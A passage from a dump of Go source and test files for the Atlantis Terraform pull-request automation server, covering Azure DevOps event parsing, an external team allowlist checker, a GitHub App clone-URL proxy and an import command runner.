actHeadRepo)\n}\n\nfunc TestParseAzureDevopsSelfHostedRepo(t *testing.T) {\n\t// this should be successful\n\trepo := azuredevopstestdata.SelfRepo\n\trepo.ParentRepository = nil\n\tr, err := parser.ParseAzureDevopsRepo(&repo)\n\tOk(t, err)\n\tEquals(t, models.Repo{\n\t\tOwner:             \"owner/project\",\n\t\tFullName:          \"owner/project/repo\",\n\t\tCloneURL:          \"https://azuredevops-user:azuredevops-token@devops.abc.com/owner/project/_git/repo\",\n\t\tSanitizedCloneURL: \"https://azuredevops-user:<redacted>@devops.abc.com/owner/project/_git/repo\",\n\t\tName:              \"repo\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"devops.abc.com\",\n\t\t\tType:     models.AzureDevops,\n\t\t},\n\t}, r)\n\n}\n\nfunc TestParseAzureDevopsSelfHostedPullEvent(t *testing.T) {\n\t_, _, _, _, _, err := parser.ParseAzureDevopsPullEvent(azuredevopstestdata.SelfPullEvent)\n\tOk(t, err)\n\n\ttestPull := deepcopy.Copy(azuredevopstestdata.SelfPull).(azuredevops.GitPullRequest)\n\ttestPull.LastMergeSourceCommit.CommitID = nil\n\t_, _, _, err = parser.ParseAzureDevopsPull(&testPull)\n\tErrEquals(t, \"lastMergeSourceCommit.commitID is null\", err)\n\n\ttestPull = deepcopy.Copy(azuredevopstestdata.SelfPull).(azuredevops.GitPullRequest)\n\ttestPull.URL = nil\n\t_, _, _, err = parser.ParseAzureDevopsPull(&testPull)\n\tErrEquals(t, \"url is null\", err)\n\ttestEvent := deepcopy.Copy(azuredevopstestdata.SelfPullEvent).(azuredevops.Event)\n\tresource := deepcopy.Copy(testEvent.Resource).(*azuredevops.GitPullRequest)\n\tresource.CreatedBy = nil\n\ttestEvent.Resource = resource\n\t_, _, _, _, _, err = parser.ParseAzureDevopsPullEvent(testEvent)\n\tErrEquals(t, \"CreatedBy is null\", err)\n\n\ttestEvent = deepcopy.Copy(azuredevopstestdata.SelfPullEvent).(azuredevops.Event)\n\tresource = deepcopy.Copy(testEvent.Resource).(*azuredevops.GitPullRequest)\n\tresource.CreatedBy.UniqueName = azuredevops.String(\"\")\n\ttestEvent.Resource = resource\n\t_, _, _, _, _, err = parser.ParseAzureDevopsPullEvent(testEvent)\n\tErrEquals(t, \"CreatedBy.UniqueName is null\", err)\n\n\tactPull, evType, actBaseRepo, actHeadRepo, actUser, err := parser.ParseAzureDevopsPullEvent(azuredevopstestdata.SelfPullEvent)\n\tOk(t, err)\n\texpBaseRepo := models.Repo{\n\t\tOwner:             \"owner/project\",\n\t\tFullName:          \"owner/project/repo\",\n\t\tCloneURL:          \"https://azuredevops-user:azuredevops-token@devops.abc.com/owner/project/_git/repo\",\n\t\tSanitizedCloneURL: \"https://azuredevops-user:<redacted>@devops.abc.com/owner/project/_git/repo\",\n\t\tName:              \"repo\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"devops.abc.com\",\n\t\t\tType:     models.AzureDevops,\n\t\t},\n\t}\n\tEquals(t, expBaseRepo, actBaseRepo)\n\tEquals(t, expBaseRepo, actHeadRepo)\n\tEquals(t, models.PullRequest{\n\t\tURL:        azuredevopstestdata.SelfPull.GetURL(),\n\t\tAuthor:     azuredevopstestdata.SelfPull.CreatedBy.GetUniqueName(),\n\t\tHeadBranch: \"feature/sourceBranch\",\n\t\tBaseBranch: \"targetBranch\",\n\t\tHeadCommit: azuredevopstestdata.SelfPull.LastMergeSourceCommit.GetCommitID(),\n\t\tNum:        azuredevopstestdata.SelfPull.GetPullRequestID(),\n\t\tState:      models.OpenPullState,\n\t\tBaseRepo:   expBaseRepo,\n\t}, actPull)\n\tEquals(t, models.OpenedPullEvent, evType)\n\tEquals(t, models.User{Username: \"user@example.com\"}, actUser)\n}\n\nfunc TestParseAzureDevopsSelfHostedPullEvent_EventType(t *testing.T) {\n\tcases := []struct {\n\t\taction string\n\t\texp    models.PullRequestEventType\n\t}{\n\t\t{\n\t\t\taction: \"git.pullrequest.updated\",\n\t\t\texp:    models.UpdatedPullEvent,\n\t\t},\n\t\t{\n\t\t\taction: \"git.pullrequest.created\",\n\t\t\texp:    models.OpenedPullEvent,\n\t\t},\n\t\t{\n\t\t\taction: \"git.pullrequest.updated\",\n\t\t\texp:    models.ClosedPullEvent,\n\t\t},\n\t\t{\n\t\t\taction: \"anything_else\",\n\t\t\texp:    models.OtherPullEvent,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.action, func(t *testing.T) {\n\t\t\tevent := deepcopy.Copy(azuredevopstestdata.SelfPullEvent).(azuredevops.Event)\n\t\t\tif c.exp == models.ClosedPullEvent {\n\t\t\t\tevent = deepcopy.Copy(azuredevopstestdata.SelfPullClosedEvent).(azuredevops.Event)\n\t\t\t}\n\t\t\tevent.EventType = c.action\n\t\t\t_, actType, _, _, _, err := parser.ParseAzureDevopsPullEvent(event)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.exp, actType)\n\t\t})\n\t}\n}\n\nfunc TestParseAzureSelfHostedDevopsPull(t *testing.T) {\n\ttestPull := deepcopy.Copy(azuredevopstestdata.SelfPull).(azuredevops.GitPullRequest)\n\ttestPull.LastMergeSourceCommit.CommitID = nil\n\t_, _, _, err := parser.ParseAzureDevopsPull(&testPull)\n\tErrEquals(t, \"lastMergeSourceCommit.commitID is null\", err)\n\n\ttestPull = deepcopy.Copy(azuredevopstestdata.SelfPull).(azuredevops.GitPullRequest)\n\ttestPull.URL = nil\n\t_, _, _, err = parser.ParseAzureDevopsPull(&testPull)\n\tErrEquals(t, \"url is null\", err)\n\n\ttestPull = deepcopy.Copy(azuredevopstestdata.SelfPull).(azuredevops.GitPullRequest)\n\ttestPull.SourceRefName = nil\n\t_, _, _, err = parser.ParseAzureDevopsPull(&testPull)\n\tErrEquals(t, \"sourceRefName (branch name) is null\", err)\n\n\ttestPull = deepcopy.Copy(azuredevopstestdata.SelfPull).(azuredevops.GitPullRequest)\n\ttestPull.TargetRefName = nil\n\t_, _, _, err = parser.ParseAzureDevopsPull(&testPull)\n\tErrEquals(t, \"targetRefName (branch name) is null\", err)\n\n\ttestPull = deepcopy.Copy(azuredevopstestdata.SelfPull).(azuredevops.GitPullRequest)\n\ttestPull.CreatedBy = nil\n\t_, _, _, err = parser.ParseAzureDevopsPull(&testPull)\n\tErrEquals(t, \"CreatedBy is null\", err)\n\n\ttestPull = deepcopy.Copy(azuredevopstestdata.SelfPull).(azuredevops.GitPullRequest)\n\ttestPull.CreatedBy.UniqueName = nil\n\t_, _, _, err = parser.ParseAzureDevopsPull(&testPull)\n\tErrEquals(t, \"CreatedBy.UniqueName is null\", err)\n\n\ttestPull = deepcopy.Copy(azuredevopstestdata.SelfPull).(azuredevops.GitPullRequest)\n\ttestPull.PullRequestID = nil\n\t_, _, _, err = parser.ParseAzureDevopsPull(&testPull)\n\tErrEquals(t, \"pullRequestId is null\", err)\n\n\tactPull, actBaseRepo, actHeadRepo, err := parser.ParseAzureDevopsPull(&azuredevopstestdata.SelfPull)\n\tOk(t, err)\n\texpBaseRepo := models.Repo{\n\t\tOwner:             \"owner/project\",\n\t\tFullName:          \"owner/project/repo\",\n\t\tCloneURL:          \"https://azuredevops-user:azuredevops-token@devops.abc.com/owner/project/_git/repo\",\n\t\tSanitizedCloneURL: \"https://azuredevops-user:<redacted>@devops.abc.com/owner/project/_git/repo\",\n\t\tName:              \"repo\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"devops.abc.com\",\n\t\t\tType:     models.AzureDevops,\n\t\t},\n\t}\n\tEquals(t, models.PullRequest{\n\t\tURL:        azuredevopstestdata.SelfPull.GetURL(),\n\t\tAuthor:     azuredevopstestdata.SelfPull.CreatedBy.GetUniqueName(),\n\t\tHeadBranch: \"feature/sourceBranch\",\n\t\tBaseBranch: \"targetBranch\",\n\t\tHeadCommit: azuredevopstestdata.SelfPull.LastMergeSourceCommit.GetCommitID(),\n\t\tNum:        azuredevopstestdata.SelfPull.GetPullRequestID(),\n\t\tState:      models.OpenPullState,\n\t\tBaseRepo:   expBaseRepo,\n\t}, actPull)\n\tEquals(t, expBaseRepo, actBaseRepo)\n\tEquals(t, expBaseRepo, actHeadRepo)\n}\n"
  },
  {
    "path": "server/events/external_team_allowlist_checker.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/runatlantis/atlantis/server/core/runtime\"\n\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n)\n\ntype ExternalTeamAllowlistChecker struct {\n\tCommand                     string\n\tExtraArgs                   []string\n\tExternalTeamAllowlistRunner runtime.ExternalTeamAllowlistRunner\n}\n\nfunc (checker *ExternalTeamAllowlistChecker) HasRules() bool {\n\treturn true\n}\n\nfunc (checker *ExternalTeamAllowlistChecker) IsCommandAllowedForTeam(ctx models.TeamAllowlistCheckerContext, team string, command string) bool {\n\tcmd := checker.buildCommandString(ctx, []string{team}, command)\n\tout, err := checker.ExternalTeamAllowlistRunner.Run(ctx, \"sh\", \"-c\", cmd)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\treturn checker.checkOutputResults(out)\n}\n\nfunc (checker *ExternalTeamAllowlistChecker) IsCommandAllowedForAnyTeam(ctx models.TeamAllowlistCheckerContext, teams []string, command string) bool {\n\tcmd := checker.buildCommandString(ctx, teams, command)\n\tout, err := checker.ExternalTeamAllowlistRunner.Run(ctx, \"sh\", \"-c\", cmd)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\treturn checker.checkOutputResults(out)\n}\n\nfunc (checker *ExternalTeamAllowlistChecker) AllTeams() []string {\n\treturn []string{}\n}\n\nfunc (checker *ExternalTeamAllowlistChecker) buildCommandString(ctx models.TeamAllowlistCheckerContext, teams []string, command string) string {\n\t// Build command string\n\t// Format is \"$external_cmd $external_args $command $repo $teams\"\n\tcmdArr := append([]string{checker.Command}, checker.ExtraArgs...)\n\torgTeams := make([]string, len(teams))\n\tfor i, team := range teams {\n\t\torgTeams[i] = fmt.Sprintf(\"%s/%s\", ctx.BaseRepo.Owner, team)\n\t}\n\n\tteamStr := strings.Join(orgTeams, \" \")\n\treturn strings.Join(append(cmdArr, command, ctx.BaseRepo.FullName, teamStr), \" \")\n}\n\nfunc (checker *ExternalTeamAllowlistChecker) checkOutputResults(output string) bool {\n\tlines := strings.Split(strings.TrimSpace(output), \"\\n\")\n\tlastLine := lines[len(lines)-1]\n\treturn strings.EqualFold(lastLine, \"pass\")\n}\n"
  },
  {
    "path": "server/events/external_team_allowlist_checker_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\n\t. \"github.com/petergtz/pegomock/v4\"\n\truntime_mocks \"github.com/runatlantis/atlantis/server/core/runtime/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nvar extTeamAllowlistChecker events.ExternalTeamAllowlistChecker\nvar extTeamAllowlistCheckerRunner *runtime_mocks.MockExternalTeamAllowlistRunner\n\nfunc externalTeamAllowlistCheckerSetup(t *testing.T) {\n\tRegisterMockTestingT(t)\n\textTeamAllowlistCheckerRunner = runtime_mocks.NewMockExternalTeamAllowlistRunner()\n\n\textTeamAllowlistChecker = events.ExternalTeamAllowlistChecker{\n\t\tExternalTeamAllowlistRunner: extTeamAllowlistCheckerRunner,\n\t}\n}\n\nfunc TestIsCommandAllowedForTeam(t *testing.T) {\n\tctx := models.TeamAllowlistCheckerContext{\n\t\tLog: logging.NewNoopLogger(t),\n\t}\n\n\tt.Run(\"allowed\", func(t *testing.T) {\n\t\texternalTeamAllowlistCheckerSetup(t)\n\n\t\tWhen(extTeamAllowlistCheckerRunner.Run(Any[models.TeamAllowlistCheckerContext](), Any[string](), Any[string](),\n\t\t\tAny[string]())).ThenReturn(\"pass\\n\", nil)\n\n\t\tres := extTeamAllowlistChecker.IsCommandAllowedForTeam(ctx, \"foo\", \"plan\")\n\t\tEquals(t, true, res)\n\t})\n\n\tt.Run(\"denied\", func(t *testing.T) {\n\t\texternalTeamAllowlistCheckerSetup(t)\n\n\t\tWhen(extTeamAllowlistCheckerRunner.Run(Any[models.TeamAllowlistCheckerContext](), Any[string](), Any[string](),\n\t\t\tAny[string]())).ThenReturn(\"nothing found\\n\", nil)\n\n\t\tres := extTeamAllowlistChecker.IsCommandAllowedForTeam(ctx, \"foo\", \"plan\")\n\t\tEquals(t, false, res)\n\t})\n}\n\nfunc TestIsCommandAllowedForAnyTeam(t *testing.T) {\n\tctx := models.TeamAllowlistCheckerContext{\n\t\tLog: logging.NewNoopLogger(t),\n\t}\n\n\tt.Run(\"allowed\", func(t *testing.T) {\n\t\texternalTeamAllowlistCheckerSetup(t)\n\n\t\tWhen(extTeamAllowlistCheckerRunner.Run(Any[models.TeamAllowlistCheckerContext](), Any[string](), Any[string](),\n\t\t\tAny[string]())).ThenReturn(\"pass\\n\", nil)\n\n\t\tres := extTeamAllowlistChecker.IsCommandAllowedForAnyTeam(ctx, []string{\"foo\"}, \"plan\")\n\t\tEquals(t, true, res)\n\t})\n\n\tt.Run(\"denied\", func(t *testing.T) {\n\t\texternalTeamAllowlistCheckerSetup(t)\n\n\t\tWhen(extTeamAllowlistCheckerRunner.Run(Any[models.TeamAllowlistCheckerContext](), Any[string](), Any[string](),\n\t\t\tAny[string]())).ThenReturn(\"nothing found\\n\", nil)\n\n\t\tres := extTeamAllowlistChecker.IsCommandAllowedForAnyTeam(ctx, []string{\"foo\"}, \"plan\")\n\t\tEquals(t, false, res)\n\t})\n}\n"
  },
  {
    "path": "server/events/github_app_working_dir.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"strings\"\n\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/github\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\nconst redactedReplacement = \"://:<redacted>@\"\n\n// GithubAppWorkingDir implements WorkingDir.\n// It acts as a proxy to an instance of WorkingDir that refreshes the app's token\n// before every clone, given Github App tokens expire quickly\ntype GithubAppWorkingDir struct {\n\tWorkingDir\n\tCredentials    github.Credentials\n\tGithubHostname string\n}\n\n// Clone writes a fresh token for Github App authentication\nfunc (g *GithubAppWorkingDir) Clone(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (string, error) {\n\tg.fixReposURL(&p, &headRepo)\n\treturn g.WorkingDir.Clone(logger, headRepo, p, workspace)\n}\n\nfunc (g *GithubAppWorkingDir) MergeAgain(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (bool, error) {\n\tg.fixReposURL(&p, &headRepo)\n\treturn g.WorkingDir.MergeAgain(logger, headRepo, p, workspace)\n}\n\nfunc (g *GithubAppWorkingDir) fixReposURL(p *models.PullRequest, headRepo *models.Repo) {\n\t// Realistically, this is a super brittle way of supporting clones using gh app installation tokens\n\t// This URL should be built during Repo creation and the struct should be immutable going forward.\n\t// Doing this requires a larger refactor however, and can probably be coupled with supporting > 1 installation\n\n\t// This removes the credential part from the url and leaves us with the raw http url\n\t// git will then pick up credentials from the credential store which is set in vcs.WriteGitCreds.\n\t// Git credentials will then be rotated by vcs.GitCredsTokenRotator\n\treplacement := \"://\"\n\tp.BaseRepo.CloneURL = strings.Replace(p.BaseRepo.CloneURL, \"://:@\", replacement, 1)\n\tp.BaseRepo.SanitizedCloneURL = strings.Replace(p.BaseRepo.SanitizedCloneURL, redactedReplacement, replacement, 1)\n\theadRepo.CloneURL = strings.Replace(headRepo.CloneURL, \"://:@\", replacement, 1)\n\theadRepo.SanitizedCloneURL = strings.Replace(p.BaseRepo.SanitizedCloneURL, redactedReplacement, replacement, 1)\n\n}\n"
  },
  {
    "path": "server/events/github_app_working_dir_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events_test\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\teventMocks \"github.com/runatlantis/atlantis/server/events/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/github\"\n\tgithubMocks \"github.com/runatlantis/atlantis/server/events/vcs/github/mocks\"\n\tgithubtestdata \"github.com/runatlantis/atlantis/server/events/vcs/github/testdata\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\n// Test that if we don't have any existing files, we check out the repo with a github app.\nfunc TestClone_GithubAppNoneExisting(t *testing.T) {\n\t// Initialize the git repo.\n\trepoDir := initRepo(t)\n\texpCommit := runCmd(t, repoDir, \"git\", \"rev-parse\", \"HEAD\")\n\n\tdataDir := t.TempDir()\n\n\tlogger := logging.NewNoopLogger(t)\n\n\twd := &events.FileWorkspace{\n\t\tDataDir:                     dataDir,\n\t\tCheckoutMerge:               false,\n\t\tTestingOverrideHeadCloneURL: fmt.Sprintf(\"file://%s\", repoDir),\n\t}\n\n\tdefer disableSSLVerification()()\n\ttestServer, err := githubtestdata.GithubAppTestServer(t)\n\tOk(t, err)\n\n\tgwd := &events.GithubAppWorkingDir{\n\t\tWorkingDir: wd,\n\t\tCredentials: &github.AppCredentials{\n\t\t\tKey:      []byte(githubtestdata.PrivateKey),\n\t\t\tAppID:    1,\n\t\t\tHostname: testServer,\n\t\t},\n\t\tGithubHostname: testServer,\n\t}\n\n\tcloneDir, err := gwd.Clone(logger, models.Repo{}, models.PullRequest{\n\t\tBaseRepo:   models.Repo{},\n\t\tHeadBranch: \"branch\",\n\t}, \"default\")\n\tOk(t, err)\n\n\t// Use rev-parse to verify at correct commit.\n\tactCommit := runCmd(t, cloneDir, \"git\", \"rev-parse\", \"HEAD\")\n\tEquals(t, expCommit, actCommit)\n}\n\nfunc TestClone_GithubAppSetsCorrectUrl(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\n\tRegisterMockTestingT(t)\n\n\tworkingDir := eventMocks.NewMockWorkingDir()\n\n\tcredentials := githubMocks.NewMockCredentials()\n\n\tghAppWorkingDir := events.GithubAppWorkingDir{\n\t\tWorkingDir:     workingDir,\n\t\tCredentials:    credentials,\n\t\tGithubHostname: \"some-host\",\n\t}\n\n\tbaseRepo, _ := models.NewRepo(\n\t\tmodels.Github,\n\t\t\"runatlantis/atlantis\",\n\t\t\"https://github.com/runatlantis/atlantis.git\",\n\n\t\t// user and token have to be blank otherwise this proxy wouldn't be invoked to begin with\n\t\t\"\",\n\t\t\"\",\n\t)\n\n\theadRepo := baseRepo\n\n\tmodifiedBaseRepo := baseRepo\n\t// remove credentials from both urls since we want to use the credential store\n\tmodifiedBaseRepo.CloneURL = \"https://github.com/runatlantis/atlantis.git\"\n\tmodifiedBaseRepo.SanitizedCloneURL = \"https://github.com/runatlantis/atlantis.git\"\n\n\tWhen(credentials.GetToken()).ThenReturn(\"token\", nil)\n\tWhen(workingDir.Clone(Any[logging.SimpleLogging](), Eq(modifiedBaseRepo), Eq(models.PullRequest{BaseRepo: modifiedBaseRepo}),\n\t\tEq(\"default\"))).ThenReturn(\"\", nil)\n\n\t_, err := ghAppWorkingDir.Clone(logger, headRepo, models.PullRequest{BaseRepo: baseRepo}, \"default\")\n\n\tworkingDir.VerifyWasCalledOnce().Clone(logger, modifiedBaseRepo, models.PullRequest{BaseRepo: modifiedBaseRepo}, \"default\")\n\n\tOk(t, err)\n}\n\n// Similar to `Clone()`\n// `MergeAgain()` should set the repo URL correctly\nfunc TestMergeAgain_GithubAppSetsCorrectUrl(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\n\tRegisterMockTestingT(t)\n\n\tworkingDir := eventMocks.NewMockWorkingDir()\n\n\tcredentials := githubMocks.NewMockCredentials()\n\n\tghAppWorkingDir := events.GithubAppWorkingDir{\n\t\tWorkingDir:     workingDir,\n\t\tCredentials:    credentials,\n\t\tGithubHostname: \"some-host\",\n\t}\n\n\tbaseRepo, _ := models.NewRepo(\n\t\tmodels.Github,\n\t\t\"runatlantis/atlantis\",\n\t\t\"https://github.com/runatlantis/atlantis.git\",\n\n\t\t// user and token have to be blank otherwise this proxy wouldn't be invoked to begin with\n\t\t\"\",\n\t\t\"\",\n\t)\n\n\theadRepo := baseRepo\n\n\tmodifiedBaseRepo := baseRepo\n\t// remove credentials from both urls since we want to use the credential store\n\tmodifiedBaseRepo.CloneURL = \"https://github.com/runatlantis/atlantis.git\"\n\tmodifiedBaseRepo.SanitizedCloneURL = \"https://github.com/runatlantis/atlantis.git\"\n\n\tWhen(credentials.GetToken()).ThenReturn(\"token\", nil)\n\tWhen(workingDir.MergeAgain(Any[logging.SimpleLogging](), Eq(modifiedBaseRepo), Eq(models.PullRequest{BaseRepo: modifiedBaseRepo}),\n\t\tEq(\"default\"))).ThenReturn(false, nil)\n\n\t_, err := ghAppWorkingDir.MergeAgain(logger, headRepo, models.PullRequest{BaseRepo: baseRepo}, \"default\")\n\n\t// MergeAgain\n\tworkingDir.VerifyWasCalledOnce().MergeAgain(logger, modifiedBaseRepo, models.PullRequest{BaseRepo: modifiedBaseRepo}, \"default\")\n\n\tOk(t, err)\n}\n"
  },
  {
    "path": "server/events/import_command_runner.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs\"\n)\n\nfunc NewImportCommandRunner(\n\tpullUpdater *PullUpdater,\n\tpullReqStatusFetcher vcs.PullReqStatusFetcher,\n\tprjCmdBuilder ProjectImportCommandBuilder,\n\tprjCmdRunner ProjectImportCommandRunner,\n\tSilenceNoProjects bool,\n) *ImportCommandRunner {\n\treturn &ImportCommandRunner{\n\t\tpullUpdater:          pullUpdater,\n\t\tpullReqStatusFetcher: pullReqStatusFetcher,\n\t\tprjCmdBuilder:        prjCmdBuilder,\n\t\tprjCmdRunner:         prjCmdRunner,\n\t\tSilenceNoProjects:    SilenceNoProjects,\n\t}\n}\n\ntype ImportCommandRunner struct {\n\tpullUpdater          *PullUpdater\n\tpullReqStatusFetcher vcs.PullReqStatusFetcher\n\tprjCmdBuilder        ProjectImportCommandBuilder\n\tprjCmdRunner         ProjectImportCommandRunner\n\tSilenceNoProjects    bool\n}\n\nfunc (v *ImportCommandRunner) Run(ctx *command.Context, cmd *CommentCommand) {\n\tvar err error\n\t// Get the mergeable status before we set any build statuses of our own.\n\t// We do this here because when we set a \"Pending\" status, if users have\n\t// required the Atlantis status checks to pass, then we've now changed\n\t// the mergeability status of the pull request.\n\t// This sets the approved, mergeable, and sqlocked status in the context.\n\tctx.PullRequestStatus, err = v.pullReqStatusFetcher.FetchPullStatus(ctx.Log, ctx.Pull)\n\tif err != nil {\n\t\t// On error we continue the request with mergeable assumed false.\n\t\t// We want to continue because not all import will need this status,\n\t\t// only if they rely on the mergeability requirement.\n\t\t// All PullRequestStatus fields are set to false by default when error.\n\t\tctx.Log.Warn(\"unable to get pull request status: %s. Continuing with mergeable and approved assumed false\", err)\n\t}\n\n\tvar projectCmds []command.ProjectContext\n\tprojectCmds, err = v.prjCmdBuilder.BuildImportCommands(ctx, cmd)\n\tif err != nil {\n\t\tctx.Log.Warn(\"Error %s\", err)\n\t}\n\n\tif len(projectCmds) == 0 && v.SilenceNoProjects {\n\t\tctx.Log.Info(\"determined there was no project to run import in.\")\n\t\treturn\n\t}\n\tvar result command.Result\n\tif len(projectCmds) > 1 {\n\t\t// There is no usecase to kick terraform import into multiple projects.\n\t\t// To avoid incorrect import, suppress to execute terraform import in multiple projects.\n\t\tresult = command.Result{\n\t\t\tFailure: \"import cannot run on multiple projects. please specify one project.\",\n\t\t}\n\t} else {\n\t\tresult = runProjectCmds(projectCmds, v.prjCmdRunner.Import)\n\t}\n\tv.pullUpdater.updatePull(ctx, cmd, result)\n}\n"
  },
  {
    "path": "server/events/import_command_runner_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events_test\n\nimport (\n\t\"testing\"\n\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/models/testdata\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/runatlantis/atlantis/server/metrics/metricstest\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestImportCommandRunner_Run(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tRegisterMockTestingT(t)\n\n\ttests := []struct {\n\t\tname          string\n\t\tsilenced      bool\n\t\tpullReqStatus models.PullReqStatus\n\t\tprojectCmds   []command.ProjectContext\n\t\texpComment    string\n\t\texpNoComment  bool\n\t}{\n\t\t{\n\t\t\tname: \"success with zero projects\",\n\t\t\tpullReqStatus: models.PullReqStatus{\n\t\t\t\tApprovalStatus:  models.ApprovalStatus{IsApproved: true},\n\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: true},\n\t\t\t},\n\t\t\tprojectCmds: []command.ProjectContext{},\n\t\t\texpComment:  \"Ran Import for 0 projects:\",\n\t\t},\n\t\t{\n\t\t\tname: \"failure with multiple projects\",\n\t\t\tpullReqStatus: models.PullReqStatus{\n\t\t\t\tApprovalStatus:  models.ApprovalStatus{IsApproved: true},\n\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: true},\n\t\t\t},\n\t\t\tprojectCmds: []command.ProjectContext{{}, {}},\n\t\t\texpComment:  \"**Import Failed**: import cannot run on multiple projects. please specify one project.\",\n\t\t},\n\t\t{\n\t\t\tname: \"no comment with zero projects and silencing\",\n\t\t\tpullReqStatus: models.PullReqStatus{\n\t\t\t\tApprovalStatus:  models.ApprovalStatus{IsApproved: true},\n\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: true},\n\t\t\t},\n\t\t\tprojectCmds:  []command.ProjectContext{},\n\t\t\tsilenced:     true,\n\t\t\texpNoComment: true,\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tvcsClient := setup(t, func(tc *TestConfig) {\n\t\t\t\ttc.SilenceNoProjects = tt.silenced\n\t\t\t})\n\n\t\t\tscopeNull := metricstest.NewLoggingScope(t, logger, \"atlantis\")\n\t\t\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num}\n\t\t\tctx := &command.Context{\n\t\t\t\tUser:     testdata.User,\n\t\t\t\tLog:      logger,\n\t\t\t\tScope:    scopeNull,\n\t\t\t\tPull:     modelPull,\n\t\t\t\tHeadRepo: testdata.GithubRepo,\n\t\t\t\tTrigger:  command.CommentTrigger,\n\t\t\t}\n\t\t\tcmd := &events.CommentCommand{Name: command.Import}\n\n\t\t\tWhen(pullReqStatusFetcher.FetchPullStatus(logger, modelPull)).ThenReturn(tt.pullReqStatus, nil)\n\t\t\tWhen(projectCommandBuilder.BuildImportCommands(ctx, cmd)).ThenReturn(tt.projectCmds, nil)\n\n\t\t\timportCommandRunner.Run(ctx, cmd)\n\n\t\t\tAssert(t, ctx.PullRequestStatus.MergeableStatus.IsMergeable == true, \"PullRequestStatus must be set for import_requirements\")\n\t\t\tif tt.expNoComment {\n\t\t\t\tvcsClient.VerifyWasCalled(Never()).CreateComment(\n\t\t\t\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]())\n\t\t\t} else {\n\t\t\t\tvcsClient.VerifyWasCalledOnce().CreateComment(\n\t\t\t\t\tAny[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num), Eq(tt.expComment), Eq(\"import\"))\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/events/instrumented_project_command_builder.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/runatlantis/atlantis/server/metrics\"\n\ttally \"github.com/uber-go/tally/v4\"\n)\n\ntype InstrumentedProjectCommandBuilder struct {\n\tProjectCommandBuilder\n\tLogger logging.SimpleLogging\n\tscope  tally.Scope\n}\n\nfunc (b *InstrumentedProjectCommandBuilder) BuildApplyCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error) {\n\treturn b.buildAndEmitStats(\n\t\t\"apply\",\n\t\tfunc() ([]command.ProjectContext, error) {\n\t\t\treturn b.ProjectCommandBuilder.BuildApplyCommands(ctx, comment)\n\t\t},\n\t)\n}\n\nfunc (b *InstrumentedProjectCommandBuilder) BuildAutoplanCommands(ctx *command.Context) ([]command.ProjectContext, error) {\n\treturn b.buildAndEmitStats(\n\t\t\"auto plan\",\n\t\tfunc() ([]command.ProjectContext, error) {\n\t\t\treturn b.ProjectCommandBuilder.BuildAutoplanCommands(ctx)\n\t\t},\n\t)\n}\n\nfunc (b *InstrumentedProjectCommandBuilder) BuildPlanCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error) 